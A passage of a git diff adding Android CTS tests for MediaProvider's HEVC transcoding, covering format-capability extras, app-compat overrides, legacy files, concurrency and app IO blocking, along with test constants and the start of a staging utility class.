+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        File destFile = new File(DIR_CAMERA, "renamed_" + HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(modernFile, true);
+
+            assertTrue(modernFile.renameTo(destFile));
+
+            assertTranscode(destFile, false);
+        } finally {
+            modernFile.delete();
+            destFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraAcceptOriginalFormatTrue_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            bundle.putBoolean(MediaStore.EXTRA_ACCEPT_ORIGINAL_MEDIA_FORMAT, true);
+            ParcelFileDescriptor pfdOriginal2 = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraAcceptOriginalFormatFalse_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            bundle.putBoolean(MediaStore.EXTRA_ACCEPT_ORIGINAL_MEDIA_FORMAT, false);
+            ParcelFileDescriptor pfdTranscoded = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal, pfdTranscoded, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraMediaCapabilitiesHevcSupportedTrue_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            ApplicationMediaCapabilities capabilities =
+                    new ApplicationMediaCapabilities.Builder()
+                    .addSupportedVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+            bundle.putParcelable(MediaStore.EXTRA_MEDIA_CAPABILITIES, capabilities);
+            ParcelFileDescriptor pfdOriginal2 = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraMediaCapabilitiesHevcUnsupportedFalse_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            ApplicationMediaCapabilities capabilities =
+                    new ApplicationMediaCapabilities.Builder()
+                            .addUnsupportedVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+            bundle.putParcelable(MediaStore.EXTRA_MEDIA_CAPABILITIES, capabilities);
+            ParcelFileDescriptor pfdOriginal2 = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraMediaCapabilitiesHevcUnspecifiedFalse_ContentResolver() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            ApplicationMediaCapabilities capabilities =
+                    new ApplicationMediaCapabilities.Builder().build();
+            bundle.putParcelable(MediaStore.EXTRA_MEDIA_CAPABILITIES, capabilities);
+            ParcelFileDescriptor pfdTranscoded = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdTranscoded, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testExtraAcceptOriginalTrueAndMediaCapabilitiesHevcFalse_ContentResolver()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(uri, false, null /* bundle */);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            Bundle bundle = new Bundle();
+            ApplicationMediaCapabilities capabilities =
+                    new ApplicationMediaCapabilities.Builder().build();
+            bundle.putParcelable(MediaStore.EXTRA_MEDIA_CAPABILITIES, capabilities);
+            bundle.putBoolean(MediaStore.EXTRA_ACCEPT_ORIGINAL_MEDIA_FORMAT, true);
+            ParcelFileDescriptor pfdOriginal2 = open(uri, false, bundle);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, true);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testMediaCapabilitiesManifestHevc()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdOriginal2 = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_HEVC);
+
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(TEST_APP_HEVC.getPackageName());
+
+            pfdOriginal2 = openFileAs(TEST_APP_HEVC, modernFile);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, true);
+        } finally {
+            // Explicitly close PFD otherwise instrumention might crash when test_app is uninstalled
+            if (pfdOriginal2 != null) {
+                pfdOriginal2.close();
+            }
+            modernFile.delete();
+            uninstallApp(TEST_APP_HEVC);
+        }
+    }
+
+    @Test
+    public void testMediaCapabilitiesManifestSlowMotion()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdOriginal2 = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_SLOW_MOTION);
+
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(TEST_APP_SLOW_MOTION.getPackageName());
+
+            pfdOriginal2 = openFileAs(TEST_APP_SLOW_MOTION, modernFile);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, false);
+        } finally {
+            // Explicitly close PFD otherwise instrumention might crash when test_app is uninstalled
+            if (pfdOriginal2 != null) {
+                pfdOriginal2.close();
+            }
+            modernFile.delete();
+            uninstallApp(TEST_APP_HEVC);
+        }
+    }
+
+    @Test
+    public void testAppCompatNoTranscodeHevc() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        String packageName = TEST_APP_SLOW_MOTION.getPackageName();
+        ParcelFileDescriptor pfdOriginal2 = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_SLOW_MOTION);
+
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(packageName);
+            // App compat takes precedence
+            TranscodeTestUtils.forceEnableAppCompatHevc(packageName);
+
+            Thread.sleep(2000);
+
+            pfdOriginal2 = openFileAs(TEST_APP_SLOW_MOTION, modernFile);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, true);
+        } finally {
+            // Explicitly close PFD otherwise instrumention might crash when test_app is uninstalled
+            if (pfdOriginal2 != null) {
+                pfdOriginal2.close();
+            }
+            modernFile.delete();
+            TranscodeTestUtils.resetAppCompat(packageName);
+            uninstallApp(TEST_APP_HEVC);
+        }
+    }
+
+    @Test
+    public void testAppCompatTranscodeHevc() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        String packageName = TEST_APP_SLOW_MOTION.getPackageName();
+        ParcelFileDescriptor pfdOriginal2 = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_SLOW_MOTION);
+
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal1 = open(modernFile, false);
+
+            // Transcoding is disabled but app compat enables it (disables hevc support)
+            TranscodeTestUtils.forceDisableAppCompatHevc(packageName);
+
+            pfdOriginal2 = openFileAs(TEST_APP_SLOW_MOTION, modernFile);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal1, pfdOriginal2, false);
+        } finally {
+            // Explicitly close PFD otherwise instrumention might crash when test_app is uninstalled
+            if (pfdOriginal2 != null) {
+                pfdOriginal2.close();
+            }
+            modernFile.delete();
+            TranscodeTestUtils.resetAppCompat(packageName);
+            uninstallApp(TEST_APP_HEVC);
+        }
+    }
+
+    /**
+     * Tests that we never initiate tanscoding for legacy formats.
+     * This test compares the bytes read before and after enabling transcoding for the test app.
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedNotInitiatedForLegacy_UsingBytesRead() throws Exception {
+        File legacyFile = new File(DIR_CAMERA, LEGACY_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageLegacyVideoFile(legacyFile);
+
+            ParcelFileDescriptor pfdOriginal = open(legacyFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded = open(legacyFile, false);
+
+            assertFileContent(legacyFile, legacyFile, pfdOriginal, pfdTranscoded, true);
+        } finally {
+            legacyFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we never initiate tanscoding for legacy formats.
+     * This test asserts using the time it took to read after enabling transcoding for the test app.
+     * The reason for keeping this check separately (than
+     * {@link TranscodeTest#testTranscodedNotInitiatedForLegacy_UsingTiming()}) is that this
+     * provides a higher level of suret that the timing wasn't favorable because of any caching
+     * after open().
+     * @throws Exception
+     */
+    @Test
+    public void testTranscodedNotInitiatedForLegacy_UsingTiming() throws Exception {
+        File legacyFile = new File(DIR_CAMERA, LEGACY_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageLegacyVideoFile(legacyFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+
+            assertTranscode(legacyFile, false);
+        } finally {
+            legacyFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we don't timeout while transcoding small HEVC videos.
+     * For instance, due to some calculation errors we might incorrectly make timeout to be 0.
+     * We test this by making sure that a small HEVC video (< 1 sec long and < 1Mb size) gets
+     * transcoded.
+     * @throws Exception
+     */
+    @Test
+    public void testNoTranscodeTimeoutForSmallHevcVideos() throws Exception {
+        File modernFile = new File(DIR_CAMERA, SMALL_HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageSmallHevcVideoFile(modernFile);
+            ParcelFileDescriptor pfdOriginal = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded = open(modernFile, false);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal, pfdTranscoded, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we transcode an HEVC file when a modern app passes the mediaCapabilitiesUid of a
+     * legacy app that cannot handle an HEVC file.
+     */
+    @Test
+    public void testOriginalCallingUid_modernAppPassLegacyAppUid()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdModernApp = null;
+        ParcelFileDescriptor pfdModernAppPassingLegacyUid = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_SLOW_MOTION);
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            // pfdModernApp is for original content (without transcoding) since this is a modern
+            // app.
+            pfdModernApp = open(modernFile, false);
+
+            // pfdModernAppPassingLegacyUid is for transcoded content since this modern app is
+            // passing the UID of a legacy app capable of handling HEVC files.
+            Bundle bundle = new Bundle();
+            bundle.putInt(MediaStore.EXTRA_MEDIA_CAPABILITIES_UID,
+                    getContext().getPackageManager().getPackageUid(
+                            TEST_APP_SLOW_MOTION.getPackageName(), 0));
+            pfdModernAppPassingLegacyUid = open(uri, false, bundle);
+
+            assertTranscode(pfdModernApp, false);
+            assertTranscode(pfdModernAppPassingLegacyUid, true);
+
+            // pfdModernApp and pfdModernAppPassingLegacyUid should be different.
+            assertFileContent(modernFile, modernFile, pfdModernApp, pfdModernAppPassingLegacyUid,
+                    false);
+        } finally {
+            if (pfdModernApp != null) {
+                pfdModernApp.close();
+            }
+
+            if (pfdModernAppPassingLegacyUid != null) {
+                pfdModernAppPassingLegacyUid.close();
+            }
+            modernFile.delete();
+            uninstallApp(TEST_APP_SLOW_MOTION);
+        }
+    }
+
+    /**
+     * Tests that we don't transcode an HEVC file when a legacy app passes the mediaCapabilitiesUid
+     * of a modern app that can handle an HEVC file.
+     */
+    @Test
+    public void testOriginalCallingUid_legacyAppPassModernAppUid()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdLegacyApp = null;
+        ParcelFileDescriptor pfdLegacyAppPassingModernUid = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_HEVC);
+            Uri uri = TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            // pfdLegacyApp is for transcoded content since this is a legacy app.
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            pfdLegacyApp = open(modernFile, false);
+
+            // pfdLegacyAppPassingModernUid is for original content (without transcoding) since this
+            // legacy app is passing the UID of a modern app capable of handling HEVC files.
+            Bundle bundle = new Bundle();
+            bundle.putInt(MediaStore.EXTRA_MEDIA_CAPABILITIES_UID,
+                    getContext().getPackageManager().getPackageUid(TEST_APP_HEVC.getPackageName(),
+                            0));
+            pfdLegacyAppPassingModernUid = open(uri, false, bundle);
+
+            assertTranscode(pfdLegacyApp, true);
+            assertTranscode(pfdLegacyAppPassingModernUid, false);
+
+            // pfdLegacyApp and pfdLegacyAppPassingModernUid should be different.
+            assertFileContent(modernFile, modernFile, pfdLegacyApp, pfdLegacyAppPassingModernUid,
+                    false);
+        } finally {
+            if (pfdLegacyApp != null) {
+                pfdLegacyApp.close();
+            }
+
+            if (pfdLegacyAppPassingModernUid != null) {
+                pfdLegacyAppPassingModernUid.close();
+            }
+            modernFile.delete();
+            uninstallApp(TEST_APP_HEVC);
+        }
+    }
+
+    /**
+     * Tests that we return FD of original file from
+     * MediaStore#getOriginalMediaFormatFileDescriptor.
+     * @throws Exception
+     */
+    @Test
+    public void testGetOriginalMediaFormatFileDescriptor_returnsOriginalFileDescriptor()
+            throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+
+            ParcelFileDescriptor pfdOriginal = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded = open(modernFile, false);
+
+            ParcelFileDescriptor pfdOriginalMediaFormat =
+                    MediaStore.getOriginalMediaFormatFileDescriptor(getContext(), pfdTranscoded);
+
+            assertFileContent(modernFile, modernFile, pfdOriginal, pfdOriginalMediaFormat, true);
+            assertFileContent(modernFile, modernFile, pfdTranscoded, pfdOriginalMediaFormat, false);
+        } finally {
+            modernFile.delete();
+        }
+    }
+
+    /**
+     * Tests that we can successfully write to a transcoded file.
+     * We check this by writing something to tanscoded content and then read it back.
+     */
+    @Test
+    public void testWriteSuccessfulToTranscodedContent() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdTranscodedContent = null;
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            pfdTranscodedContent = open(modernFile, false);
+
+            // read some bytes from some random offset
+            Random random = new Random(System.currentTimeMillis());
+            int byteCount = 512;
+            int fileOffset = random.nextInt((int) pfdTranscodedContent.getStatSize() - byteCount);
+            byte[] readBytes = TranscodeTestUtils.read(pfdTranscodedContent, byteCount, fileOffset);
+
+            // write the bytes at the same offset after some modification
+            pfdTranscodedContent = open(modernFile, true);
+            byte[] writeBytes = new byte[byteCount];
+            for (int i = 0; i < byteCount; ++i) {
+                writeBytes[i] = (byte) ~readBytes[i];
+            }
+            TranscodeTestUtils.write(pfdTranscodedContent, writeBytes, byteCount, fileOffset);
+
+            // read back the same number of bytes from the same offset
+            readBytes = TranscodeTestUtils.read(pfdTranscodedContent, byteCount, fileOffset);
+
+            // assert that read is same as written
+            assertTrue(Arrays.equals(readBytes, writeBytes));
+        } finally {
+            if (pfdTranscodedContent != null) {
+                pfdTranscodedContent.close();
+            }
+            modernFile.delete();
+        }
+    }
+
+    @Test
+    public void testTranscodeDirectoryNotAccessible() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        ParcelFileDescriptor pfdTranscodedContent = null;
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            pfdTranscodedContent = open(modernFile, false);
+            TranscodeTestUtils.read(pfdTranscodedContent, 512, 0);
+
+            // Transcode directory must be created now.
+            String transcodeDirPath =
+                    "/storage/emulated/" + UserHandle.myUserId() + "/.transforms/transcode";
+            File transcodeDir = new File(transcodeDirPath);
+            assertThat(transcodeDir.exists()).isFalse();
+        } finally {
+            if (pfdTranscodedContent != null) {
+                pfdTranscodedContent.close();
+            }
+            modernFile.delete();
+        }
+    }
+
+    @Ignore
+    @Test
+    public void testTranscodeMultipleFilesConcurrently_mediumDurationMediumVolume() throws Exception {
+        ModernFileOpenerThread[] modernFileOpenerThreads = new ModernFileOpenerThread[20];
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i] = new ModernFileOpenerThread(
+                    ModernFileOpenerThread.FileDurationSeconds.TWENTIES);
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].start();
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].join();
+            if (modernFileOpenerThreads[i].mException != null) {
+                throw new Exception("Failed ModernFileOpenerThread - " + i + ": "
+                        + modernFileOpenerThreads[i].mException.getMessage(),
+                        modernFileOpenerThreads[i].mException);
+            }
+        }
+    }
+
+    @Ignore
+    @Test
+    public void testTranscodeMultipleFilesConcurrently_lowDurationHighVolume() throws Exception {
+        ModernFileOpenerThread[] modernFileOpenerThreads = new ModernFileOpenerThread[100];
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i] = new ModernFileOpenerThread(
+                    ModernFileOpenerThread.FileDurationSeconds.FEW);
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].start();
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].join();
+            if (modernFileOpenerThreads[i].mException != null) {
+                throw new Exception("Failed ModernFileOpenerThread - " + i + ": "
+                        + modernFileOpenerThreads[i].mException.getMessage(),
+                        modernFileOpenerThreads[i].mException);
+            }
+        }
+    }
+
+    @Ignore
+    @Test
+    public void testTranscodeMultipleFilesConcurrently_longDurationLowVolume() throws Exception {
+        ModernFileOpenerThread[] modernFileOpenerThreads = new ModernFileOpenerThread[5];
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i] = new ModernFileOpenerThread(
+                    ModernFileOpenerThread.FileDurationSeconds.HUNDRED);
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].start();
+        }
+
+        for (int i = 0; i < modernFileOpenerThreads.length; ++i) {
+            modernFileOpenerThreads[i].join();
+            if (modernFileOpenerThreads[i].mException != null) {
+                throw new Exception("Failed ModernFileOpenerThread - " + i + ": "
+                        + modernFileOpenerThreads[i].mException.getMessage(),
+                        modernFileOpenerThreads[i].mException);
+            }
+        }
+    }
+
+    private static final class ModernFileOpenerThread extends Thread {
+        private final FileDurationSeconds mFileDurationSeconds;
+        Throwable mException;
+
+        ModernFileOpenerThread(FileDurationSeconds fileDurationSeconds) {
+            mFileDurationSeconds = fileDurationSeconds;
+        }
+
+        @Override
+        public void run() {
+            try {
+                openFile();
+            } catch (Exception exception) {
+                mException = exception;
+            }
+        }
+
+        private void openFile() throws Exception {
+            String fileName = "TranscodeTestHEVC_" + System.nanoTime() + ".mp4";
+            File modernFile = new File(DIR_CAMERA, fileName);
+            ParcelFileDescriptor pfdTranscoded = null;
+            try {
+                switch (mFileDurationSeconds) {
+                    case FEW:
+                        TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+                        break;
+                    case TWENTIES:
+                        TranscodeTestUtils.stageMediumHevcVideoFile(modernFile);
+                        break;
+                    case HUNDRED:
+                        TranscodeTestUtils.stageLongHevcVideoFile(modernFile);
+                        break;
+                    default:
+                        throw new IllegalStateException(
+                                "Unknown mFileDurationSeconds: " + mFileDurationSeconds);
+                }
+                TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+                pfdTranscoded = open(modernFile, false);
+                assertTranscode(pfdTranscoded, true);
+            } finally {
+                if (pfdTranscoded != null) {
+                    pfdTranscoded.close();
+                }
+                modernFile.delete();
+            }
+        }
+
+        enum FileDurationSeconds {
+            FEW,
+            TWENTIES,
+            HUNDRED
+        }
+    }
+
+    /**
+     * Tests {@link StorageManager#isAppIoBlocked}
+     * @throws Exception
+     */
+    @Test
+    public void test_IsAppIoBlocked() throws Exception {
+        File modernFile = new File(DIR_CAMERA, HEVC_FILE_NAME);
+        StorageManager sm = getContext().getSystemService(StorageManager.class);
+        StorageVolume vol = sm.getStorageVolume(modernFile);
+        UUID uuid = vol.getStorageUuid();
+        try {
+            TranscodeTestUtils.stageHEVCVideoFile(modernFile);
+            ParcelFileDescriptor pfdOriginal = open(modernFile, false);
+
+            TranscodeTestUtils.enableTranscodingForPackage(getContext().getPackageName());
+            ParcelFileDescriptor pfdTranscoded = open(modernFile, false);
+
+            assertFalse(isAppIoBlocked(sm, uuid));
+
+            Optional<Boolean> success = Optional.of(true);
+            Thread transcodeThread = new Thread(() -> {
+                try {
+                    assertFileContent(modernFile, modernFile, pfdOriginal, pfdTranscoded, false);
+                } catch (Exception e) {
+                    success.of(false);
+                }
+            });
+            transcodeThread.start();
+
+            // Check in a loop if app IO is blocked cos there might be a delay between read(2)
+            // and when the transcoding is scheduled
+            int timeLeftMs = 5000;
+            int sleepMs = 100;
+            boolean appIoBlocked = false;
+            while (timeLeftMs > 0) {
+                if (isAppIoBlocked(sm, uuid)) {
+                    appIoBlocked = true;
+                    break;
+                }
+                timeLeftMs -= sleepMs;
+                Thread.sleep(sleepMs);
+            }
+            assertTrue(appIoBlocked);
+
+            // Wait for transcoding to finish successfully
+            transcodeThread.join();
+            assertTrue(success.get());
+
+            assertFalse(isAppIoBlocked(sm, uuid));
+        } finally {
+            modernFile.delete();
+        }
+    }
+}
diff --git a/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestConstants.java b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestConstants.java
new file mode 100644
index 0000000..546e94f
--- /dev/null
+++ b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestConstants.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediaprovidertranscode.cts;
+
+public final class TranscodeTestConstants {
+    private TranscodeTestConstants() {
+    }
+
+    public static final String INTENT_QUERY_TYPE =
+            "android.mediaprovidertranscode.cts.query_type";
+    public static final String INTENT_EXTRA_CALLING_PKG =
+            "android.mediaprovidertranscode.cts.calling_pkg";
+    public static final String INTENT_EXTRA_PATH = "android.mediaprovidertranscode.cts.path";
+    public static final String OPEN_FILE_QUERY = "android.mediaprovidertranscode.cts.open_file";
+}
diff --git a/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestUtils.java b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestUtils.java
new file mode 100644
index 0000000..7e3f219
--- /dev/null
+++ b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTestUtils.java
@@ -0,0 +1,466 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediaprovidertranscode.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_EXTRA_CALLING_PKG;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_EXTRA_PATH;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.OPEN_FILE_QUERY;
+import static android.mediaprovidertranscode.cts.TranscodeTestConstants.INTENT_QUERY_TYPE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
+
+import android.Manifest;
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.SystemClock;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
+import android.provider.MediaStore;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import com.google.common.io.ByteStreams;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InterruptedIOException;
+import java.util.Arrays;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Supplier;
+
+public class TranscodeTestUtils {
+    private static final String TAG = "TranscodeTestUtils";
+
+    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+    private static final long POLLING_SLEEP_MILLIS = 100;
+
+    public static Uri stageHEVCVideoFile(File videoFile) throws IOException {
+        return stageVideoFile(videoFile, R.raw.testvideo_HEVC);
+    }
+
+    public static Uri stageSmallHevcVideoFile(File videoFile) throws IOException {
+        return stageVideoFile(videoFile, R.raw.testVideo_HEVC_small);
+    }
+
+    public static Uri stageMediumHevcVideoFile(File videoFile) throws IOException {
+        return stageVideoFile(videoFile, R.raw.testVideo_HEVC_medium);
+    }
+
+    public static Uri stageLongHevcVideoFile(File videoFile) throws IOException {
+        return stageVideoFile(videoFile, R.raw.testVideo_HEVC_long);
+    }
+
+    public static Uri stageLegacyVideoFile(File videoFile) throws IOException {
+        return stageVideoFile(videoFile, R.raw.testVideo_Legacy);
+    }
+
+    private static Uri stageVideoFile(File videoFile, int resourceId) throws IOException {
+        if (!videoFile.getParentFile().exists()) {
+            assertTrue(videoFile.getParentFile().mkdirs());
+        }
+        try (InputStream in =
+                     getContext().getResources().openRawResource(resourceId);
+             FileOutputStream out = new FileOutputStream(videoFile)) {
+            FileUtils.copy(in, out);
+            // Sync file to disk to ensure file is fully written to the lower fs before scanning
+            // Otherwise, media provider might try to read the file on the lower fs and not see
+            // the fully written bytes
+            out.getFD().sync();
+        }
+        return MediaStore.scanFile(getContext().getContentResolver(), videoFile);
+    }
+
+    public static ParcelFileDescriptor open(File file, boolean forWrite) throws Exception {
+        return ParcelFileDescriptor.open(file, forWrite ? ParcelFileDescriptor.MODE_READ_WRITE
